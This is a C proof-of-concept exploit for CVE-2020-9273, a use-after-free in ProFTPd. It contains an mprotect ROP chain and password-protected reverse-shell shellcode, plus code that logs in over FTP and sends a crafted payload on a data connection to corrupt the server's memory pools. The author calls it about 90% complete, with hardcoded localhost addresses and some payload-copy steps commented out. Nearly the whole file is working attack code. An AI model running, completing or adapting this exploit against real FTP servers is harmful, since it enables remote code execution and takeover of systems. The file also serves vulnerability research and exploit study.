/* * ProFTPd Remote Code Execution exploit - CVE-2020-9273 * * exploit created by @DUKPT_ * * credits to Antonio Morales who discovered the vulnerability * * WARNING: this exploit is 90% completed, I removed the brute-force loop * because I'm interested in finding a memory leak. However, since this is * a post-auth exploitation and also have to have the hability to upload * files, I decided to quit working on this. Seems not so interesting. * * Most of the code that actually are commented, since you need to interact * with gdb. * * Feel free to contact me if you want to share something. * */ #include #include #include #include #include #include #include #include #include #include #include #define exit_on_error(P) if(P) err(errno, NULL); /* do not change these above! * this exploit was setup to work only on localhost (sorry this is just a PoC) */ #define FTP_PORT 2121 #define FTP_HOST "127.0.0.1" /* size of buffer to store responses of FTP control connection */ #define RCVD_BUFF_SIZE 512 /* size of buffer to send data on FTP data connection */ #define SEND_BUFF_SIZE 0x2000 // 0x400 == 1024*8 - if required change to 0x4000 */ /* this is a fictitious pool_rec structure, it does not represents the original * one in size. I'm declaring it to facilitate offset calculations visually */ struct pool_rec { unsigned char *first; unsigned char *last; unsigned char *cleanups; unsigned char *sub_pools; unsigned char *sub_next; unsigned char *sub_prev; unsigned char *parent; char *free_first_avail; char *tag; }; /* libc-2.31 x86_64 mprotect ROP manually created on Ubuntu 20.04.1 LTS */ unsigned char *mprotect_rop = "\x00\x10\x00\x00\x00\x00\x00\x00" /* $rsi = mem size */ "\xa9\x71\xdb\xf7\xff\x7f\x00\x00" /* 0x7ffff7db71a9 : pop rsi; ret */ "\x00\x10\x00\x00\x00\x00\x00\x00" /* $rsi = mem size */ "\xa9\x71\xdb\xf7\xff\x7f\x00\x00" /* 0x7ffff7db71a9 : pop rsi; ret */ "\x00\x10\x00\x00\x00\x00\x00\x00" /* $rsi = mem size */ "\x72\x9b\xda\xf7\xff\x7f\x00\x00" /* 0x7ffff7da9b72 : pop rdi; ret */ "DDDDDDDD" // MPROTECT_RDI /* $rdi = initial mem page address to mprotect */ "\x65\x58\xee\xf7\xff\x7f\x00\x00" /* 0x7ffff7ee5865 : pop rax; pop rdx; pop rbx; ret */ "\x0a\x00\x00\x00\x00\x00\x00\x00" /* $rax = 0xa (mprotect syscall number) */ "\x07\x00\x00\x00\x00\x00\x00\x00" /* $rdx = 0x7 (RWX permission) */ "\xca\xfe\xca\xfe\xca\xfe\xca\xfe" /* ignored */ "\x29\x92\xde\xf7\xff\x7f\x00\x00" /* 0x7ffff7de9229 <__funlockfile+73>: syscall; ret */ "EEEEEEEE"; // MPROTECT_RETURN ; /* ret address */ /* zerosum0x0's reverse shell with password "dkpt" * (first type the password to get reverse shell) * PS.: for some reason that I stil have to investigate you must * type "sh" after the password, if not the connection is closed */ unsigned char reverse_shell[] = "\x31\xf6" /* xor %esi,%esi */ "\xf7\xe6" /* mul %esi */ "\xff\xc6" /* inc %esi */ "\x6a\x02" /* pushq $0x2 */ "\x5f" /* pop %rdi */ "\x04\x29" /* add $0x29,%al */ "\x0f\x05" /* syscall */ "\x50" /* push %rax */ "\x5f" /* pop %rdi */ "\x52" /* push %rdx */ "\x52" /* push %rdx */ "\xc7\x44\x24\x04\x7d\xff\xfe" /* movl $0xfefeff7d,0x4(%rsp) */ "\xfe" /* . */ "\x81\x44\x24\x04\x02\x01\x01" /* addl $0x2010102,0x4(%rsp) */ "\x02" /* . */ "\x66\xc7\x44\x24\x02\x11\x5c" /* movw $0x5c11,0x2(%rsp) */ "\xc6\x04\x24\x02" /* movb $0x2,(%rsp) */ "\x54" /* push %rsp */ "\x5e" /* pop %rsi */ "\x6a\x10" /* pushq $0x10 */ "\x5a" /* pop %rdx */ "\x6a\x2a" /* pushq $0x2a */ "\x58" /* pop %rax */ "\x0f\x05" /* syscall */ "\x31\xc0" /* xor %eax,%eax */ "\x0f\x05" /* syscall */ "\x81\x3c\x24""aaaa" /* cmpl $0x41414141,(%rsp) */ "\x75\x1f" /* jne 62 */ "\x6a\x03" /* pushq $0x3 */ "\x5e" /* pop %rsi */ "\xff\xce" /* dec %esi */ "\xb0\x21" /* mov $0x21,%al */ "\x0f\x05" /* syscall */ "\x75\xf8" /* jne 46 */ "\x56" /* push %rsi */ "\x5a" /* pop %rdx */ "\x56" /* push %rsi */ "\x48\xbf\x2f\x2f\x62\x69\x6e" /* movabs $0x68732f6e69622f2f,%rdi */ "\x2f\x73\x68" /* . */ "\x57" /* push %rdi */ "\x54" /* push %rsp */ "\x5f" /* pop %rdi */ "\xb0\x3b" /* mov $0x3b,%al */ "\x0f\x05" /* syscall */; int main(int argc, char* argv[]) { int rc=0,wstatus=0,s=0,sc=0,socketopt=1; pid_t pid=-1; //size_t offset=0xc20; /* this is from: gef➤ print 0x5555556d4000 - 0x5555556d33e0 == 0xc20 */ char buf[RCVD_BUFF_SIZE] = {0}; struct sockaddr_in sa = {0}; struct pool_rec resp_pool = {0}; unsigned char shellcode[SEND_BUFF_SIZE]; /* When the vulnerability is triggered "p" points to "resp_pool". In fact, * ProFTPd detects that the FTP control connection was closed and it'll * begin the end session process. So what we control is (pool *)resp_pool * members, but not it address. This is a use-after-free vulnerability and * we control it's content during FTP data transference, so our payload is * in fact our shellcode. * Thus, we'll have to predict where (pool *)resp_pool (which is a typedef * to struct pool_rec) points to and also the address of * &session.curr_cmd_rec->notes->chains (ProFTPd will fill this buffer * during end session process, so we need to align FTP data transfer and * FTP control sending a crafted predicted memory address as a command. * * Due to PIE and ASLR it's almost impossible to guess these addresses, so * the only way I think it's possible is brute-forcing. But since the main * daemon process fork()ed a child, it inherits parent's memory layout, so * it makes sense to brute force some memory addresses. * * set $resp_pool = (unsigned char *)resp_pool * set $cmd_notes_chains = (unsigned char *)&session.curr_cmd_rec->notes->chains * set $gid_tab = (unsigned char *)gid_tab * set $offset = 0x98 * set $distance = $cmd_notes_chains - $gid_tab - $offset * set p->last=&p->cleanups * set p->sub_pools=(unsigned char *)&session.curr_cmd_rec->notes->chains - 0x28 * set p->sub_next=(unsigned char *)&session.curr_cmd_rec->notes->chains - $distance */ printf("** ProFTPd <= 1.3.7rc2 CVE-2020-9273 exploit\n" "** default payload provides remote shell with \"aaaa\" password\n" "** exploit developed by dukpt\n\n"); /* In alloc_pool() when the vulnerability is triggered, "p" is a (pool *) * pointer that points to (pool *)resp_pool (remember that "pool" is a * typedef struct pool_rec). * (pool *)resp_pool variable holds the error message printed * to the user on FTP control connection (usually on TCP 21 port). * Since this is the variable we control, we have to manipulate the execution * flow according to the reads and writes to this structure. * The way I exploited this will be described bellow.. * * (pool *)p which points to (pool *)resp_pool should be the following: * set $r=(unsigned char *)resp_pool * set $a=(unsigned char *)&session.curr_cmd_rec->notes->chains * set $b=(unsigned char *)&gid_tab->pool * set $c=$a - $b * p p->last=&p->cleanups * p p->sub_pools=((char *)&session.curr_cmd_rec->notes->chains) - 0x28 * p p->sub_next=((char *)&session.curr_cmd_rec->notes->chains) - $c - 0x90 * print *p * $1 = { * first = 0x4141414141414141, * last = 0x5555556d3370, * cleanups = 0x4141414141414141, * sub_pools = 0x5555556ae2f8, * sub_next = 0x5555556a8a20, * sub_prev = 0x4141414141414141, * parent = 0x4141414141414141, * free_first_avail = 0x4141414141414141 , * tag = 0x4141414141414141 * } * * set $RESP_POOL=(unsigned char *)resp_pool * set $cmd_notes_chains=(unsigned char *)&session.curr_cmd_rec->notes->chains * set $gid_tab=(unsigned char *)gid_tab * * set $distance=($cmd_notes_chains - $gid_tab) + 0x90 * * set p->last=&p->cleanups * set p->sub_pools=$cmd_notes_chains - 0x28 * set p->sub_next=$cmd_notes_chains - $distance * * we need to make the adjustment of -0x28 due to make_sub_pool(), where * p->sub_prev is deslocated in 0x28, so we need to correct it * */ /* * HAVE TO SET THE 2 VARIABLES BELOW WITH HARDCODE ADDRESSES! */ unsigned char *RESP_POOL = (unsigned char *) 0x5555556d2350; // value of resp_pool unsigned char *SESS_CURR_CMD_NOTES = (unsigned char *) 0x5555556ad088; // value of session.curr_cmd_rec->notes unsigned char *MPROTECT_RETURN = RESP_POOL + 0x30; /* RESP_POOL + 0x30 == &resp_pool->parent == this is our ret to shellcode address */ unsigned char *MPROTECT_RDI = (unsigned char *)((unsigned long)RESP_POOL & 0xffffffffff000); /* RESP_POOL & 0xffffffffff000 (initial address to mprotect) */ /* * Since I wasn't able to find any memory leak, I had to make an exploit with hardcoded * addresses, wich I know it's stupid and won't work most of the time when you run this. * Anyways, RESP_POOL variable holds the address stored in resp_pool BSS variable. * SESS_CURR_CMD_NOTES variable holds the address stored in session.curr_cmd_rec->notes * Explanation for the offsets: SESS_CURR_CMD_NOTES + 0x18 - 0x80 * 1) + 0x18 to forward to address &session.curr_cmd_rec->notes->chain * 2) - 0x80 to backward to part of our payload */ resp_pool.first = (unsigned char *)RESP_POOL; resp_pool.last = (unsigned char *)0x4141414141414145; // RESP_POOL + 0x10; resp_pool.cleanups = (unsigned char *)0x9090909090909090; // RESP_POOL + 0x20; resp_pool.sub_pools = (unsigned char *)SESS_CURR_CMD_NOTES + 0x18 - 0x28; // (unsigned char *)&session.curr_cmd_rec->notes->chains - 0x28 resp_pool.sub_next = (unsigned char *)SESS_CURR_CMD_NOTES - 0x80; // (unsigned char *)&session.curr_cmd_rec->notes->pool - 0x80 resp_pool.sub_prev = (unsigned char *)0x4343434343434343; // 0x7f4fe620f1a9; // 0x7f404881d1a9; // 0x7f75211301a9; /* : pop rsi; ret */ resp_pool.parent = (unsigned char *)0x4444444444444444; resp_pool.free_first_avail = (unsigned char *)0x4141414141414141; resp_pool.tag = (unsigned char *)0x4144444444444444; //resp_pool.tag = RESP_POOL + 0x40; /* * print *p->cleanups * $7 = { * data = 0x5555556d3398, * plain_cleanup_cb = 0x7ffff7ece1a1 , * child_cleanup_cb = 0x5555556d3398, * next = 0x7ffff7ece1a1 * } * * c->data holds the value of our stack (rsp) */ /* * p->sub_pools * this member points to the next element of the pool. * since we control it, we have to maintain the control of it * until it reaches our payload copy, then we can send the * ROP mprotect shellcode + the real shellcode and RET to them. */ printf("memory layout info:\n"); printf("resp_pool = %p\n", RESP_POOL); printf("session.curr_cmd_rec->notes = %p\n", SESS_CURR_CMD_NOTES); printf("&session.curr_cmd_rec->notes->chains = %p\n", (SESS_CURR_CMD_NOTES + 0x18)); printf("resp_pool = {\n"); printf(" first = %p\n", resp_pool.first); printf(" last = %p \n", resp_pool.last); printf(" cleanups = %p \n", resp_pool.cleanups); printf(" sub_pools = %p <&session.curr_cmd_rec->notes->chains - 0x28>\n", resp_pool.sub_pools); printf(" sub_next = %p\n", resp_pool.sub_next); printf(" sub_prev = %p \n", resp_pool.sub_prev); printf(" parent = %p\n", resp_pool.parent); printf(" free_first_avail = %p\n", resp_pool.free_first_avail); printf(" tag = %p\n", resp_pool.tag); printf("}\n"); pid = fork(); switch(pid) { case -1: err(errno, "error in fork"); exit(-1); break; case 0: /* child, FTP data connection */ setsid(); // makes sense? /* address structure for FTP data listenning connection */ sa.sin_family = AF_INET; sa.sin_port = htons(3762); sa.sin_addr.s_addr = htonl(INADDR_ANY); /* bind and listen socket and accept remote FTP data connection*/ s = socket(AF_INET, SOCK_STREAM, 0); exit_on_error(s < 0); rc = setsockopt(s, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt)); exit_on_error(rc < 0); rc = bind(s, (struct sockaddr *)&sa, sizeof(sa)); exit_on_error(rc < 0); rc = listen(s, 1); exit_on_error(rc < 0); sc = accept(s, 0, 0); exit_on_error(sc < 0); /* send data to remote FTP server */ dprintf(2, "[+] received data connection, sending payload and triggering the use-after-free: "); /* * print p * $1 = (struct pool_rec *) 0x5555556d3360 * print *p * $2 = { * first = 0x4141414141414141, * last = 0x4141414141414141, * cleanups = 0x4141414141414141, * sub_pools = 0x4141414141414141, * sub_next = 0x4141414141414141, * sub_prev = 0x4141414141414141, * parent = 0x4141414141414141, * free_first_avail = 0x4141414141414141 , * tag = 0x4141414141414141 * } * set p->last = &p->cleanups * set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 * set p->sub_next = ((char *)&session.curr_cmd_rec->notes->chains) - 0x5900 * print *p * $3 = { * first = 0x4141414141414141, * last = 0x5555556d3370, * cleanups = 0x4141414141414141, * sub_pools = 0x5555556ae2f8, * sub_next = 0x5555556a8a20, * sub_prev = 0x4141414141414141, * parent = 0x4141414141414141, * free_first_avail = 0x4141414141414141 , * tag = 0x4141414141414141 * } * c * print c * $4 = (cleanup_t *) 0x5555556d3390 * print *c * $5 = { * data = 0x4141414141414141, * plain_cleanup_cb = 0x4141414141414141, * child_cleanup_cb = 0x4141414141414141, * next = 0x4141414141414141 * } * set c->data=(unsigned char *)resp_pool + 0xca0 * set c->plain_cleanup_cb=0x00007ffff7d85000+0x00000000001491a1 * print *c * $6 = { * data = 0x5555556d4000, * plain_cleanup_cb = 0x7ffff7ece1a1 , * child_cleanup_cb = 0x4141414141414141, * next = 0x4141414141414141 * } */ memset(&shellcode[0x00], 0x90, SEND_BUFF_SIZE); /* let's just fill initial buffer with "NOP"s just in case */ //memcpy(&shellcode[0x00], &resp_pool.first, 8); /* p->first = 0x4141414141414141 */ memcpy(&shellcode[0x08], &resp_pool.last, 8); /* p->last = &p->cleanups */ memcpy(&shellcode[0x10], &resp_pool.cleanups, 8); /* p->cleanups = 0x5555556d4000 */ memcpy(&shellcode[0x18], &resp_pool.sub_pools, 8); memcpy(&shellcode[0x20], &resp_pool.sub_next, 8); /* p->sub_next = ((char *)&session.curr_cmd_rec->notes->chains) - 0x5900 (sometimes 0x5970) */ //memcpy(&shellcode[0x28], &resp_pool.sub_prev, 8); /* : pop rsi; ret */ //memcpy(&shellcode[0x30], &resp_pool.parent, 8); /* p->parent = (this is our future stack that'll mprotect using ROP technique) */ //memcpy(&shellcode[0x38], &resp_pool.free_first_avail, 8); /* p->free_first_avail = */ //memcpy(&shellcode[0x40], &resp_pool.tag, 8); /* p->tag = 0x5555556d4000 */ //memcpy(&shellcode[0xa0], "\x00\x40\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 */ //memcpy(&shellcode[0xf8], "\xa1\xe1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 */ /* * print *p->cleanups * $7 = { * data = 0x5555556d3398, * plain_cleanup_cb = 0x7ffff7ece1a1 , * child_cleanup_cb = 0x5555556d3398, * next = 0x7ffff7ece1a1 * } * * c->data holds the value of our stack (rsp) */ //memcpy(&shellcode[0x48], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 */ //memcpy(&shellcode[0x50], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 - na verdade pode ser o valor de &p->free_first_avail p*/ //memcpy(&shellcode[0x58], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 */ //memcpy(&shellcode[0x60], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 */ //memcpy(&shellcode[0x68], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 */ //memcpy(&shellcode[0x70], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 */ //memcpy(&shellcode[0x78], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 */ /* * mprotect ROP. * we start mprotecting just the memory region * that we're going to execute. * We copy several times, just in case.. */ //for(size_t i=0x80; i<0x490; i+=0x68) { //memcpy(&shellcode[0x80], mprotect_rop, 0x68); //} /* * probably need some trampoline here.. */ /* * revershell shellcode with password. * now we memcopy the actual shellcode * since we've already mprotected it */ //for(size_t i=0x400 + 0xc20; i<0xa00; i+=0x6a) { //memcpy(&shellcode[0x100+0x68], reverse_shell, 0x6a); //memcpy(&shellcode[0x200+0x68], reverse_shell, 0x6a); //memcpy(&shellcode[0x300+0x68], reverse_shell, 0x6a); //} do { sleep(1); dprintf(2, "+"); rc = send(sc, shellcode, SEND_BUFF_SIZE, 0); } while (sc && rc > 0); dprintf(2, " bye from child fork\n"); //sleep(30); if (sc) close(sc); //, SHUT_RDWR); if (s) close(s); //, SHUT_RDWR); exit(0); break; default: /* parent */ /* address structure for command connection */ sa.sin_family = AF_INET; sa.sin_port = htons(FTP_PORT); sa.sin_addr.s_addr = inet_addr(FTP_HOST); /* FTP commands socket */ s = socket(AF_INET, SOCK_STREAM, 0); exit_on_error(s < 0); printf("[+] child process PID: %d\n", pid); /* connect to remote FTP and reads banner */ rc = connect(s, (const struct sockaddr *)&sa, sizeof(sa)); exit_on_error(rc < 0); rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0); exit_on_error(rc < 0); buf[RCVD_BUFF_SIZE]='\0'; /* send USER and PASS login commands */ printf("[+] user login... "); rc = send(s, "USER poc\r\n", 10, 0); rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0); rc = send(s, "PASS VaiCabelo1\r\n", 17, 0); rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0); buf[RCVD_BUFF_SIZE]='\0'; if (rc > 0 && strcmp("230 ", buf) && strcmp("logged in", buf)) { printf("OK!\n"); } else { err(errno, "wrong user and/or password, can't continue."); } /* send PORT and STOR commands to start transference */ printf("[+] sending PORT command\n"); //sleep(1); rc = send(s, "TYPE I\r\n", 8, 0); rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0); rc = send(s, "PORT 127,0,0,1,14,178\r\n", 23, 0); rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0); /* start listenning socket to wait for FTP remote data connection */ printf("[+] sending STOR command\n"); rc = send(s, "STOR /tmp/bbb\r\n", 15, 0); rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0); exit_on_error(rc <= 0); if (!strcmp("200 ", buf)) err(errno, "error STOR"); /* send data payload syncronized with control connection */ rc = send(s, (void *)"1111 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 400, 0); rc = send(s, (void *)"2222 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\n", 100, 0); rc = send(s, (void *)"3333 CCC\x77\x77\x02\x01\x77\x77\0", 15, 0); // this is the address where the structure will be pointed to (which should be resp_pool value) //rc = send(s, (void *)"HELP\r\n", 6, 0); // apenas segura a ausencia de \r\n do comando anterior //rc = send(s, (void *)"STOR /tmp/bbb\r\n", 15, 0); //rc = send(s, (void *)"REST 5\r\n", 8, 0); //rc = send(s, (void *)"REST 55\0", 8, 0); //rc = send(s, (void *)"RANG 800 12000000\r\n", 19, 0); // detalhe: é necessário fazer através de comando e parâmetro // pois o código transforma em maiúsculo se mandar só AAAAAAAA [..] // então preciso mandar AAAA xxxxxx pois o parâmetro não é transformado // em maiúsculo /* * should be &p->cleanups + 0x40 * (remember that p points to resp_pool) * and it's the address to prepare our stack before ROP'ing */ memset(buf, 0, RCVD_BUFF_SIZE); snprintf(&buf[0], 9, "2222 CCC"); snprintf(&buf[8], 8, "%s", (char *)&RESP_POOL); //printf("\n%d:%s\n\n", (int)strlen(buf),buf); //rc = send(s, (void *)buf, 15, 0); // this is the real address if (s) { //printf("[+] closing FTP control connection\n"); close(s); //shutdown(s, SHUT_RDWR); } else { printf("\n[-] humm strange, socket is already closed\n"); } do { rc = waitpid(pid, &wstatus, WUNTRACED | WCONTINUED); if (rc == -1) { exit_on_error(rc <= 0); } if (WIFEXITED(wstatus)) { printf("\n[+] parent caught: child exited with status=%d\n", WEXITSTATUS(wstatus)); } else if (WIFSIGNALED(wstatus)) { printf("\n[+] parent caught: child got signal %d, propably connection was closed (which is normal due to the bug triggering)\n", WTERMSIG(wstatus)); } else if (WIFSTOPPED(wstatus)) { printf("\n[+] parent caught: child stopped by signal %d - did you do this?\n", WSTOPSIG(wstatus)); } } while (!WIFEXITED(wstatus) && !WIFSIGNALED(wstatus)); //sleep(30); break; } //end switch //printf("-- next try:\n"); //sleep(1); //} //end for return 0; }